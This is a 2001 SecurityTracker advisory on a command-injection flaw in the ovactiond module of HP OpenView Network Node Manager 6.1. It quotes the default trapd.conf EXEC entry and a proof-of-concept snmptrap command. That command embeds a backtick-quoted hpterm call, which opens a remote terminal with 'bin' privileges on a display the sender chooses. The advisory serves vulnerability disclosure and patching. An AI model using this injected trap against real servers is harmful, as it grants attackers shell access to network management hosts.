(Official Vendor Bulletin) Re: HP's OpenView Network Node Manager Gives Remote Users Shell Access with User-level (bin) Privileges
SecurityTracker Alert ID:  1001834
SecurityTracker URL:  http://securitytracker.com/id/1001834
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jun 26 2001
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 6.1
Description:   A vulnerability has been reported in HP's OpenView Network Node Manager with the "ovactiond" module. The vulnerability in the module allows a remote user to obtain "bin" user-level access to the network management server.

The module is designed to start any executable program when a trap or event is received by Network Node Manager.

In the trapd.conf file, the following configuration is reportedly defined by default in NMM 6.1:

#
EVENT
OV_MgX_NNM_Generic .1.3.6.1.4.1.11.2.17.1.0.6000
0208 "Configuration Alarms" Warning
FORMAT Generic NNM to MgX message. $12
EXEC echo snmpnotify -v 1 -e 1.3.6.1.4.1.11.2.17.1
$10 1.3.[snip...]
#

If a remote user sends the following trap, the remote user can reportedly obtain remote terminal access with "bin" user privileges:

snmptrap -v 1 <NNM host> .1.3.6.1.4.1.11.2.17.1
1.2.3.4 6 60000208 0 1 s "" 2 s "" 3
s "\`/usr/bin/X11/hpterm -display <your client
display>\`" 4 s "" [snip...] 12 s ""

Impact:   A remote user can execute arbitrary commands on the server with the "bin" user-level privileges and can obtain shell access to the network management server.
Solution:   The vendor has released a fix. See the Source Message for the vendor's advisory.
Vendor URL:  www.hp.com/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:   UNIX (Any)
